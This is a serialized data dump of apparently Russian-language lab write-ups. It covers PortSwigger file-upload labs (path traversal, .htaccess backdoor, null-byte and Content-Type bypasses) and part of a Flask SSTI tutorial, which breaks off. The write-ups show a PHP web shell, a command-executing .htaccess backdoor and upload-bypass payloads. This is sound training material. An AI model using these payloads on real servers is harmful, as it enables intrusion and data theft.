[{"data":1,"prerenderedAt":26277},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal":3,"recent-ru":125,"posts-ru-pentesting":612,"portswigger-ru":9372,"portswigger-idx-ru":20868,"tools-ru-\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal":110,"cheatsheets-ru":20891,"related-ru-\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal":26042},{"id":4,"title":5,"author":6,"body":7,"date":106,"description":107,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":111,"navigation":112,"notes":110,"path":113,"psTitle":29,"seo":114,"stem":115,"tags":116,"timeSpent":122,"type":123,"__hash__":124},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal.md","Web Shell Upload через Path Traversal (PortSwigger Lab)","apsyleg",{"type":8,"value":9,"toc":97},"minimark",[10,15,20,31,35,40,51,55,58,61,64,70,73,79,85,88,94],[11,12,14],"h1",{"id":13},"web-shell-upload-через-path-traversal","Web Shell Upload через Path Traversal",[16,17,19],"h2",{"id":18},"лаборатория","Лаборатория",[21,22,23,30],"p",{},[24,25,29],"a",{"href":26,"rel":27},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-path-traversal",[28],"nofollow","Web shell upload via path traversal"," · Apprentice",[16,32,34],{"id":33},"решение","Решение",[36,37,39],"h3",{"id":38},"дано","Дано",[41,42,47],"pre",{"className":43,"code":45,"language":46},[44],"language-text","This lab contains a vulnerable image upload function. The server is configured\nto prevent execution of user-supplied files, but this restriction can be\nbypassed by exploiting a secondary vulnerability.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n","text",[48,49,45],"code",{"__ignoreMap":50},"",[36,52,54],{"id":53},"анализ-и-разведка","Анализ и разведка",[21,56,57],{},"Суть как и в предыдущей лабе. Только на этот раз нужно использовать техники path traversal для загрузки файла в директорию, где наш шелл будет исполнен.",[21,59,60],{},"Зальём файл через сайт. Залился, открываем — открылся просто как текст.",[21,62,63],{},"Окей, тогда попробуем залить в директорию выше:",[41,65,68],{"className":66,"code":67,"language":46},[44],"Content-Disposition: form-data; name=\"avatar\"; filename=\"..\u002Fshell.php\"\n",[48,69,67],{"__ignoreMap":50},[21,71,72],{},"Сервер пишет, что залил всё-таки в прежнее место. Ок, попробуем энкодинг:",[41,74,77],{"className":75,"code":76,"language":46},[44],"Content-Disposition: form-data; name=\"avatar\"; filename=\"%2e%2e%2fshell.php\"\n",[48,78,76],{"__ignoreMap":50},[41,80,83],{"className":81,"code":82,"language":46},[44],"The file avatars\u002F..\u002Fshell.php has been uploaded\n",[48,84,82],{"__ignoreMap":50},[21,86,87],{},"Сработало!",[41,89,92],{"className":90,"code":91,"language":46},[44],"FU2yHUj75eKOuqf4Zp5L9CLf6N96aTDH\n",[48,93,91],{"__ignoreMap":50},[21,95,96],{},"Лаба решена!",{"title":50,"searchDepth":98,"depth":98,"links":99},2,[100,101],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":102},[103,105],{"id":38,"depth":104,"text":39},3,{"id":53,"depth":104,"text":54},"2026-06-03","Имя `..\u002Fshell.php` режется, но URL-кодированный `%2e%2e%2fshell.php` проходит — выпрыгиваем из \u002Favatars в директорию, где PHP исполняется.","apprentice","md",null,{},true,"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal",{"title":5,"description":107},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal",[117,118,119,120,121],"portswigger","file-upload","rce","path-traversal","web-security","20m","note","5UoZBITthA7OtmhdR22HKV-rk107bjp26QWC8RE06xU",[126,267,376,451,547],{"id":127,"title":128,"author":6,"body":129,"date":255,"description":256,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":258,"navigation":112,"notes":110,"path":259,"psTitle":143,"seo":260,"stem":261,"tags":262,"timeSpent":265,"type":123,"__hash__":266},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass.md","Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)",{"type":8,"value":130,"toc":248},[131,135,137,145,147,149,155,157,160,166,173,179,185,188,194,197,204,210,216,222,229,232,238,240,246],[11,132,134],{"id":133},"web-shell-upload-через-обход-блек-листа-расширений","Web Shell Upload через обход блек-листа расширений",[16,136,19],{"id":18},[21,138,139,144],{},[24,140,143],{"href":141,"rel":142},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-extension-blacklist-bypass",[28],"Web shell upload via extension blacklist bypass"," · Practitioner",[16,146,34],{"id":33},[36,148,39],{"id":38},[41,150,153],{"className":151,"code":152,"language":46},[44],"This lab contains a vulnerable image upload function. Certain file extensions\nare blacklisted, but this defense can be bypassed due to a fundamental\nflaw in the configuration of this blacklist.\n\nTo solve the lab, upload a basic PHP web shell, then use it to exfiltrate\nthe contents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the\nbutton provided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,154,152],{"__ignoreMap":50},[36,156,54],{"id":53},[21,158,159],{},"Пробуем залить PHP-шелл — сервер ругается:",[41,161,164],{"className":162,"code":163,"language":46},[44],"HTTP\u002F2 403 Forbidden\nDate: Wed, 03 Jun 2026 15:51:26 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 164\n\nSorry, php files are not allowed\nSorry, there was an error uploading your file.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[48,165,163],{"__ignoreMap":50},[21,167,168,169,172],{},"Сервер — Apache. Идея: попробовать залить в директорию свой конфиг Apache, то есть ",[48,170,171],{},".htaccess",". Если серверная валидация не обрабатывает такой случай, мы сможем подсунуть конфиг и настроить запуск PHP-файлов под другим расширением, замаскировав его под безобидный MIME-тип.",[21,174,175,176,178],{},"Заходим в PayloadAllTheThings, раздел Upload Insecure Files, берём готовый ",[48,177,171],{},"-бэкдор:",[41,180,183],{"className":181,"code":182,"language":46},[44],"# htaccess backdoor shell\n# this is relatively stealthy compared to a typical webshell\n\n# overriding deny rule\n# making htaccess accessible from the internet\n# without this you'll get a HTTP 403\n\u003CFiles ~ \"^\\.ht\">\nRequire all granted\nOrder allow,deny\nAllow from all\n\u003C\u002FFiles>\n\n# Make the server treat .htaccess file as .php file\nAddType application\u002Fx-httpd-php .htaccess\n\n# \u003C?php system($_GET['cmd']); ?>\n\n# To execute commands you would navigate to:\n# http:\u002F\u002Fvulnerable.com\u002F.htaccess?cmd=YourCommand\n\n# If system(); isnt working then try other syscalls\n# e.g. passthru(); shell_exec(); etc\n# If you still cant execute syscalls, try bypassing php.ini via htaccess\n",[48,184,182],{"__ignoreMap":50},[21,186,187],{},"Заливается:",[41,189,192],{"className":190,"code":191,"language":46},[44],"HTTP\u002F2 200 OK\nDate: Wed, 03 Jun 2026 16:05:17 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nVary: Accept-Encoding\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 130\n\nThe file avatars\u002F.htaccess has been uploaded.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[48,193,191],{"__ignoreMap":50},[21,195,196],{},"Но при обращении сервер отдаёт 500 и ругается на конфиг — такой шелл не прошёл.",[21,198,199,200,203],{},"Тогда заливаем урезанный вариант — просто конфиг, который скажет Apache считать файлы ",[48,201,202],{},"shell.bug"," PHP-скриптами:",[41,205,208],{"className":206,"code":207,"language":46},[44],"# Make the server treat .htaccess file as .php file\nAddType application\u002Fx-httpd-php shell.bug\n",[48,209,207],{"__ignoreMap":50},[21,211,212,213,215],{},"Заливаем его как ",[48,214,171],{},":",[41,217,220],{"className":218,"code":219,"language":46},[44],"HTTP\u002F2 200 OK\nDate: Thu, 04 Jun 2026 13:47:14 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nVary: Accept-Encoding\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 130\n\nThe file avatars\u002F.htaccess has been uploaded.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[48,221,219],{"__ignoreMap":50},[21,223,224,225,228],{},"Залился. Идём проверять ",[48,226,227],{},"\u002Ffiles\u002Favatars\u002Fshell.bug"," — не пошло, интерпретируется как текст.",[21,230,231],{},"Может тогда такой конфиг:",[41,233,236],{"className":234,"code":235,"language":46},[44],"AddType application\u002Fx-httpd-php \".bug\"\n",[48,237,235],{"__ignoreMap":50},[21,239,87],{},[41,241,244],{"className":242,"code":243,"language":46},[44],"2OdvwFa9GvrtQrVwpJ5f9btIo0GQdiy1\n",[48,245,243],{"__ignoreMap":50},[21,247,96],{},{"title":50,"searchDepth":98,"depth":98,"links":249},[250,251],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":252},[253,254],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},"2026-06-04",".php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.","practitioner",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass",{"title":128,"description":256},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass",[117,118,119,263,264,121],"htaccess","apache","1h","NR9By2Ldlz92DVNBG3VKud1LLgbBkGoKjwvEoFf5HT8",{"id":268,"title":269,"author":6,"body":270,"date":255,"description":367,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":368,"navigation":112,"notes":110,"path":369,"psTitle":284,"seo":370,"stem":371,"tags":372,"timeSpent":374,"type":123,"__hash__":375},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension.md","Web Shell Upload через обфускацию расширения (PortSwigger Lab)",{"type":8,"value":271,"toc":360},[272,276,278,285,287,289,295,297,300,314,320,326,329,342,348,354,356],[11,273,275],{"id":274},"web-shell-upload-через-обфускацию-расширения","Web Shell Upload через обфускацию расширения",[16,277,19],{"id":18},[21,279,280,144],{},[24,281,284],{"href":282,"rel":283},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-obfuscated-file-extension",[28],"Web shell upload via obfuscated file extension",[16,286,34],{"id":33},[36,288,39],{"id":38},[41,290,293],{"className":291,"code":292,"language":46},[44],"This lab contains a vulnerable image upload function. Certain file extensions\nare blacklisted, but this defense can be bypassed using a classic obfuscation\ntechnique.\n\nTo solve the lab, upload a basic PHP web shell, then use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,294,292],{"__ignoreMap":50},[36,296,54],{"id":53},[21,298,299],{},"Шелл всё тот же:",[41,301,305],{"className":302,"code":303,"language":304,"meta":50,"style":50},"language-php shiki shiki-themes github-light github-dark","\u003C?php echo file_get_contents('\u002Fhome\u002Fcarlos\u002Fsecret'); ?>\n","php",[48,306,307],{"__ignoreMap":50},[308,309,312],"span",{"class":310,"line":311},"line",1,[308,313,303],{},[21,315,316,317,215],{},"Закидываем ",[48,318,319],{},"shell.php",[41,321,324],{"className":322,"code":323,"language":46},[44],"Sorry, only JPG & PNG files are allowed\nSorry, there was an error uploading your file.\n",[48,325,323],{"__ignoreMap":50},[21,327,328],{},"Значит, пытаемся убедить, что это JPG или PNG. Пойдём по порядку.",[330,331,332,339],"ol",{},[333,334,335,338],"li",{},[48,336,337],{},"shell.php.jpg"," — загрузилось, но отдаётся как картинка, не подошло.",[333,340,341],{},"А вот с нулевым байтом получилось:",[41,343,346],{"className":344,"code":345,"language":46},[44],"Content-Disposition: form-data; name=\"avatar\"; filename=\"shell1.php%00.jpg\"\nContent-Type: application\u002Fx-php\n",[48,347,345],{"__ignoreMap":50},[41,349,352],{"className":350,"code":351,"language":46},[44],"Re4kTtunnIZsPQSV4FFhRmyNL6FO0gos\n",[48,353,351],{"__ignoreMap":50},[21,355,96],{},[357,358,359],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":361},[362,363],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":364},[365,366],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},"Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension",{"title":269,"description":367},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension",[117,118,119,373,121],"null-byte","40m","nHhTFaZl27DsZdkuJoAWyhRUKkrUR4T_ibqomTP5qnM",{"id":377,"title":378,"author":6,"body":379,"date":106,"description":444,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":445,"navigation":112,"notes":110,"path":446,"psTitle":393,"seo":447,"stem":448,"tags":449,"timeSpent":122,"type":123,"__hash__":450},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload.md","Remote Code Execution через загрузку web shell (PortSwigger Lab)",{"type":8,"value":380,"toc":437},[381,385,387,394,396,398,404,406,409,417,420,427,433,435],[11,382,384],{"id":383},"remote-code-execution-через-загрузку-web-shell","Remote Code Execution через загрузку web shell",[16,386,19],{"id":18},[21,388,389,30],{},[24,390,393],{"href":391,"rel":392},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-remote-code-execution-via-web-shell-upload",[28],"Remote code execution via web shell upload",[16,395,34],{"id":33},[36,397,39],{"id":38},[41,399,402],{"className":400,"code":401,"language":46},[44],"This lab contains a vulnerable image upload function. It doesn't perform any\nvalidation on the files users upload before storing them on the server's filesystem.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,403,401],{"__ignoreMap":50},[36,405,54],{"id":53},[21,407,408],{},"Тут всё просто, заливаем шелл, вызываем его в браузере.",[41,410,411],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,412,413],{"__ignoreMap":50},[308,414,415],{"class":310,"line":311},[308,416,303],{},[21,418,419],{},"Логинимся, заливаем шелл.",[21,421,422,423,426],{},"Открываем в браузере ",[48,424,425],{},"\u002Ffiles\u002Favatars\u002Fshell.php",".",[41,428,431],{"className":429,"code":430,"language":46},[44],"1bfoduHLVPomAxIanAVE6dzD1ulBhDVk\n",[48,432,430],{"__ignoreMap":50},[21,434,96],{},[357,436,359],{},{"title":50,"searchDepth":98,"depth":98,"links":438},[439,440],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":441},[442,443],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},"Загрузка аватарки без валидации — заливаем PHP web shell и читаем \u002Fhome\u002Fcarlos\u002Fsecret.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload",{"title":378,"description":444},"notes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload",[117,118,119,121],"z_CXX-GC00dImbHcUyia4Y4GDKREiJjg2nSOBHGuYk4",{"id":452,"title":453,"author":6,"body":454,"date":106,"description":540,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":541,"navigation":112,"notes":110,"path":542,"psTitle":468,"seo":543,"stem":544,"tags":545,"timeSpent":122,"type":123,"__hash__":546},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass.md","Web Shell Upload через обход проверки Content-Type (PortSwigger Lab)",{"type":8,"value":455,"toc":533},[456,460,462,469,471,473,479,481,488,491,499,502,508,514,517,523,529,531],[11,457,459],{"id":458},"web-shell-upload-через-обход-проверки-content-type","Web Shell Upload через обход проверки Content-Type",[16,461,19],{"id":18},[21,463,464,30],{},[24,465,468],{"href":466,"rel":467},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-content-type-restriction-bypass",[28],"Web shell upload via Content-Type restriction bypass",[16,470,34],{"id":33},[36,472,39],{"id":38},[41,474,477],{"className":475,"code":476,"language":46},[44],"This lab contains a vulnerable image upload function. It attempts to prevent users\nfrom uploading unexpected file types, but relies on checking user-controllable\ninput to verify this.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,478,476],{"__ignoreMap":50},[36,480,54],{"id":53},[21,482,483,484,487],{},"Судя по всему сервер ориентируется только на заголовок ",[48,485,486],{},"Content-Type",", а не проверяет реальный формат и расширение файла. Поэтому найдём запрос, отправим шелл, потом в Repeater будем проверять.",[21,489,490],{},"Шелл тот же:",[41,492,493],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,494,495],{"__ignoreMap":50},[308,496,497],{"class":310,"line":311},[308,498,303],{},[21,500,501],{},"Ответ сервера:",[41,503,506],{"className":504,"code":505,"language":46},[44],"Sorry, file type application\u002Fx-php is not allowed\nOnly image\u002Fjpeg and image\u002Fpng are allowed\nSorry, there was an error uploading your file.\n",[48,507,505],{"__ignoreMap":50},[21,509,510,511,426],{},"Окей, тогда попробуем из предложенных :) Сработало с ",[48,512,513],{},"image\u002Fjpeg",[21,515,516],{},"Запускаем шелл:",[41,518,521],{"className":519,"code":520,"language":46},[44],"https:\u002F\u002F0afc00240467710b80c4f3e900760037.web-security-academy.net\u002Ffiles\u002Favatars\u002Fshell.php\n",[48,522,520],{"__ignoreMap":50},[41,524,527],{"className":525,"code":526,"language":46},[44],"nwBgzpEyfEbf0QPqvGNb4sCrrAyLNvmC\n",[48,528,526],{"__ignoreMap":50},[21,530,96],{},[357,532,359],{},{"title":50,"searchDepth":98,"depth":98,"links":534},[535,536],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":537},[538,539],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},"Сервер проверяет только заголовок Content-Type — меняем его на image\u002Fjpeg и проходим с PHP-шеллом.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass",{"title":453,"description":540},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass",[117,118,119,121],"RygTu62PDjtmFCCdpFn-osDx-_dqaY9S2f2tEhVx28o",{"id":4,"title":5,"author":6,"body":548,"date":106,"description":107,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":609,"navigation":112,"notes":110,"path":113,"psTitle":29,"seo":610,"stem":115,"tags":611,"timeSpent":122,"type":123,"__hash__":124},{"type":8,"value":549,"toc":602},[550,552,554,559,561,563,568,570,572,574,576,581,583,588,593,595,600],[11,551,14],{"id":13},[16,553,19],{"id":18},[21,555,556,30],{},[24,557,29],{"href":26,"rel":558},[28],[16,560,34],{"id":33},[36,562,39],{"id":38},[41,564,566],{"className":565,"code":45,"language":46},[44],[48,567,45],{"__ignoreMap":50},[36,569,54],{"id":53},[21,571,57],{},[21,573,60],{},[21,575,63],{},[41,577,579],{"className":578,"code":67,"language":46},[44],[48,580,67],{"__ignoreMap":50},[21,582,72],{},[41,584,586],{"className":585,"code":76,"language":46},[44],[48,587,76],{"__ignoreMap":50},[41,589,591],{"className":590,"code":82,"language":46},[44],[48,592,82],{"__ignoreMap":50},[21,594,87],{},[41,596,598],{"className":597,"code":91,"language":46},[44],[48,599,91],{"__ignoreMap":50},[21,601,96],{},{"title":50,"searchDepth":98,"depth":98,"links":603},[604,605],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":606},[607,608],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":5,"description":107},[117,118,119,120,121],[613,1146,1961,4032,6349,8900,9331],{"id":614,"title":615,"author":6,"body":616,"date":1133,"description":1134,"difficulty":110,"extension":109,"image":1051,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":1135,"navigation":112,"notes":110,"path":1136,"psTitle":110,"seo":1137,"stem":1138,"tags":1139,"timeSpent":110,"type":123,"__hash__":1145},"content_ru\u002Fnotes\u002Fpentesting\u002Fvulhub-flask-ssti.md","Server-Side Template Injection во Flask (VulHub)",{"type":8,"value":617,"toc":1116},[618,622,626,629,632,634,653,656,680,684,690,697,708,712,718,724,730,737,741,747,767,773,779,785,789,802,806,812,818,828,832,838,844,848,854,857,863,867,885,891,897,927,933,943,947,956,962,968,984,988,991,1040,1046,1052,1062,1066,1073,1076,1113],[11,619,621],{"id":620},"server-side-template-injection-во-flask","Server-Side Template Injection во Flask",[16,623,625],{"id":624},"уязвимость","Уязвимость",[21,627,628],{},"Server-Side Template Injection (SSTI) — уязвимость, при которой пользовательский ввод попадает в серверный шаблон без санитизации. Шаблонизатор исполняет ввод как код, что может привести к Remote Code Execution (RCE).",[21,630,631],{},"Flask использует Jinja2 в качестве шаблонизатора. Если разработчик подставляет пользовательские данные прямо в шаблон (вместо передачи через контекст), злоумышленник может выполнить произвольный Python-код на сервере.",[16,633,19],{"id":18},[21,635,636,640,641,646,649,652],{},[637,638,639],"strong",{},"Источник:"," ",[24,642,645],{"href":643,"rel":644},"https:\u002F\u002Fgithub.com\u002Fvulhub\u002Fvulhub\u002Ftree\u002Fmaster\u002Fflask\u002Fssti",[28],"VulHub — Flask SSTI",[647,648],"br",{},[637,650,651],{},"Цель:"," Получить RCE через инъекцию в Jinja2-шаблон.",[21,654,655],{},"Поднимаем окружение:",[41,657,661],{"className":658,"code":659,"language":660,"meta":50,"style":50},"language-bash shiki shiki-themes github-light github-dark","docker compose up -d\n","bash",[48,662,663],{"__ignoreMap":50},[308,664,665,669,673,676],{"class":310,"line":311},[308,666,668],{"class":667},"sScJk","docker",[308,670,672],{"class":671},"sZZnC"," compose",[308,674,675],{"class":671}," up",[308,677,679],{"class":678},"sj4cs"," -d\n",[16,681,683],{"id":682},"разведка","Разведка",[21,685,686,687,215],{},"Стартовая страница — ",[48,688,689],{},"Hello guest",[21,691,692],{},[693,694],"img",{"alt":695,"src":696},"Стартовая страница Flask-приложения: Hello guest","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F01-hello-guest.png",[21,698,699,700,703,704,707],{},"Приложение принимает query-параметр ",[48,701,702],{},"name"," и отображает его в приветствии. Без параметра выводится ",[48,705,706],{},"guest",". Проверим, попадает ли ввод в шаблон.",[36,709,711],{"id":710},"детект-ssti","Детект SSTI",[21,713,714,715,215],{},"Стандартный тест — ",[48,716,717],{},"{{7*7}}",[41,719,722],{"className":720,"code":721,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{7*7}}\n",[48,723,721],{"__ignoreMap":50},[21,725,726],{},[693,727],{"alt":728,"src":729},"SSTI подтверждён:  вернул 49","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F02-ssti-confirmed.png",[21,731,732,733,736],{},"Сервер вернул ",[48,734,735],{},"49"," — значит выражение вычислилось. SSTI подтверждён.",[36,738,740],{"id":739},"определение-шаблонизатора","Определение шаблонизатора",[21,742,743,744,215],{},"Разные шаблонизаторы по-разному обрабатывают ",[48,745,746],{},"{{7*'7'}}",[748,749,750,759],"ul",{},[333,751,752,640,755,758],{},[637,753,754],{},"Jinja2:",[48,756,757],{},"7777777"," (повторение строки)",[333,760,761,640,764,766],{},[637,762,763],{},"Twig:",[48,765,735],{}," (приведение к числу)",[41,768,771],{"className":769,"code":770,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{7*'7'}}\n",[48,772,770],{"__ignoreMap":50},[21,774,775],{},[693,776],{"alt":777,"src":778},"Jinja2 подтверждён:  вернул 7777777","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F03-jinja2-confirmed.png",[21,780,781,782,784],{},"Результат ",[48,783,757],{}," — подтверждаем Jinja2.",[16,786,788],{"id":787},"mro-цепочка","MRO-цепочка",[21,790,791,792,795,796,799,800,426],{},"Jinja2 не даёт прямого доступа к ",[48,793,794],{},"os"," или ",[48,797,798],{},"import",". Но в Python у каждого объекта есть метаданные о его классе. Через цепочку MRO (Method Resolution Order) можно добраться от любого объекта до модуля ",[48,801,794],{},[36,803,805],{"id":804},"шаг-1-класс-строки","Шаг 1: Класс строки",[41,807,810],{"className":808,"code":809,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{\"\".__class__}}\n",[48,811,809],{"__ignoreMap":50},[21,813,814],{},[693,815],{"alt":816,"src":817},"DevTools: \"\".class вернул class 'str'","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F04-class-str.png",[21,819,820,821,824,825,827],{},"Браузер «проглатывает» ",[48,822,823],{},"\u003Cclass 'str'>"," как HTML-тег — смотрим через DevTools или View Source. Получили ",[48,826,823],{}," — класс пустой строки.",[36,829,831],{"id":830},"шаг-2-базовый-класс-object","Шаг 2: Базовый класс object",[41,833,836],{"className":834,"code":835,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{\"\".__class__.__mro__[1]}}\n",[48,837,835],{"__ignoreMap":50},[21,839,840],{},[693,841],{"alt":842,"src":843},"DevTools: mro1 вернул class 'object'","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F05-class-object.png",[36,845,847],{"id":846},"шаг-3-все-подклассы-object","Шаг 3: Все подклассы object",[41,849,852],{"className":850,"code":851,"language":46},[44],"http:\u002F\u002Flocalhost:8000\u002F?name={{\"\".__class__.__mro__[1].__subclasses__()}}\n",[48,853,851],{"__ignoreMap":50},[21,855,856],{},"Через View Source видим огромный список — сотни классов:",[21,858,859],{},[693,860],{"alt":861,"src":862},"View Source: список всех subclasses object","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F06-subclasses-source.png",[36,864,866],{"id":865},"шаг-4-поиск-os_wrap_close","Шаг 4: Поиск os._wrap_close",[21,868,869,870,872,873,876,877,880,881,884],{},"Нам нужен класс из модуля ",[48,871,794],{}," — через его ",[48,874,875],{},"__globals__"," мы получим доступ к ",[48,878,879],{},"popen",". Ищем ",[48,882,883],{},"os._wrap_close"," через Ctrl+F в View Source:",[21,886,887],{},[693,888],{"alt":889,"src":890},"Поиск os._wrap_close в View Source","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F07-find-wrap-close.png",[21,892,893,894,896],{},"Нашли. Теперь нужен его индекс в списке. Выделяем текст от начала списка до ",[48,895,883],{},", копируем и в Console считаем запятые:",[41,898,902],{"className":899,"code":900,"language":901,"meta":50,"style":50},"language-javascript shiki shiki-themes github-light github-dark","\"ВЫДЕЛЕННЫЙ_ТЕКСТ\".split(',').length\n","javascript",[48,903,904],{"__ignoreMap":50},[308,905,906,909,912,915,918,921,924],{"class":310,"line":311},[308,907,908],{"class":671},"\"ВЫДЕЛЕННЫЙ_ТЕКСТ\"",[308,910,426],{"class":911},"sVt8B",[308,913,914],{"class":667},"split",[308,916,917],{"class":911},"(",[308,919,920],{"class":671},"','",[308,922,923],{"class":911},").",[308,925,926],{"class":678},"length\n",[21,928,929],{},[693,930],{"alt":931,"src":932},"Console: подсчёт индекса через split(',').length","\u002Fimages\u002Fposts\u002Fvulhub-flask-ssti\u002F08-counting-index.png",[21,934,935,936,939,940,426],{},"В консоли получили ",[637,937,938],{},"118"," — это количество элементов. Но индексация в Python начинается с 0, поэтому индекс — ",[637,941,942],{},"117",[36,944,946],{"id":945},"шаг-5-глобалы-модуля-os","Шаг 5: Глобалы модуля os",[21,948,949,950,953,954,215],{},"Проверяем, что через ",[48,951,952],{},"__init__.__globals__"," мы получаем функции модуля 